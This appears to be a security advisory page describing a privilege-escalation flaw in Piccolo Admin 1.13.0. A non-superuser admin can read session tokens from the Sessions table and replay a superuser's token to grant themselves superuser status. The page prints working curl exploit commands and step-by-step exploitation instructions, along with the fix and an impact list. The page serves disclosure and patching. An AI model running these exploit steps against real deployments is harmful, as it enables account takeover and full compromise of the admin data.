Listen to this Post
The vulnerability exists due to an improper authorization check in the `superuser_validators` helper function used by `piccolo_admin` to protect the User and Sessions table endpoints. The function employs a deny-list approach, specifically blocking PUT, PATCH, DELETE, and `POST` HTTP methods for non-superusers. However, it fails to reject `GET` requests, leaving a critical gap in the authorization logic.
This oversight is compounded by the fact that the `SessionsBase.token` field in `piccolo_api/session_auth/tables.py` is a standard `Varchar` column and is not marked with secret=True. The `PiccoloCRUD` class, by default, uses `exclude_secrets=True` to strip sensitive fields from API responses. Because the token column is not flagged as a secret, it is included in the data returned by any `GET` request to the Sessions table.
An attacker with valid credentials for a non-superuser admin account (which has `admin=True` but superuser=False) can leverage this to leak all active session tokens in plaintext. The attacker can then use one of these stolen tokens, specifically the one belonging to a superuser, to impersonate that user. By replaying the stolen superuser session cookie, the attacker can send a `PATCH` request to the User table to set their own `superuser` field to true. This action is now permitted because the server identifies the request as coming from a superuser. The privilege escalation is permanent as the change is written directly to the database.
This attack chain is realistic and can be exploited in a documented configuration where a system administrator adds the `Sessions` table to the `create_admin` function to provide superusers with a UI to monitor and revoke active sessions. The vulnerability is classified as High severity and affects multiple versions of the library.
DailyCVE Form:
Platform: Piccolo Admin
Version: 1.13.0
Vulnerability : Privilege Escalation
Severity: 8.8 HIGH
date: 2026-08-28
Prediction: 2026-09-15
What Undercode Say:
Initial assessment confirms full compromise. The exploit chain is straightforward and highly reliable. Immediate action is required to patch the `superuser_validators` function to an allow-list. The `secret=True` flag for the session token is a critical secondary mitigation that should be applied to prevent data leakage in any scenario.
Analytics:
Exploit command to leak session tokens
curl -X GET "http://target:8001/api/tables/sessions/" \
-H "Cookie: id=<non-superuser_admin_session>; csrftoken=<csrf_token>"
Exploit command to elevate privileges using stolen superuser token
curl -X PATCH "http://target:8001/api/tables/piccolo_user/2/" \
-H "Content-Type: application/json" \
-H "Cookie: id=<stolen_superuser_session>; csrftoken=<csrf_token>" \
-H "X-CSRFToken: <csrf_token>" \
-d '{"superuser": true}'
Exploit: (Educational Purposes!)
- Obtain valid credentials for a non-superuser admin (e.g., `john` /
john123). This is the default account created byBaseUser.create_user(admin=True). - Send a `GET /api/tables/sessions/` request with the non-superuser’s session cookie to leak all active session tokens.
- Copy the `token` value from the response for the user you wish to impersonate (typically the superuser with
user_id=1). - Send a `PATCH /api/tables/piccolo_user/
/` request, replacing the `Cookie: id=` header with the stolen token and setting `{“superuser”: true}` in the request body. - Log in again with the original credentials; the user account is now a superuser.
Protection:
- Primary Fix (Critical): Immediately update the `superuser_validators` function in
piccolo_admin/endpoints.py. Replace the deny-list logic with an allow-list that blocks all requests from non-superusers.def superuser_validators(piccolo_crud, request): if not request.user.user.superuser: raise HTTPException( status_code=403, detail="Only superusers can access this resource.", )
- Defense in Depth: Modify `piccolo_api/session_auth/tables.py` to set `secret=True` on the `token` column of the `SessionsBase` class. This ensures the `exclude_secrets=True` default in `PiccoloCRUD` will strip the token from all responses.
Impact:
A non-superuser admin can escalate their privileges to full superuser status. The attacker can then:
– Read, write, and delete any data in tables exposed by the admin interface.
– Revoke sessions of other administrators, causing a denial of service or lockout.
– Change passwords for any user.
– Export all data, including via bulk CSV downloads.
– Plant payloads (e.g., CSV formula injections) that could compromise higher-trust operators when they open exported files.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
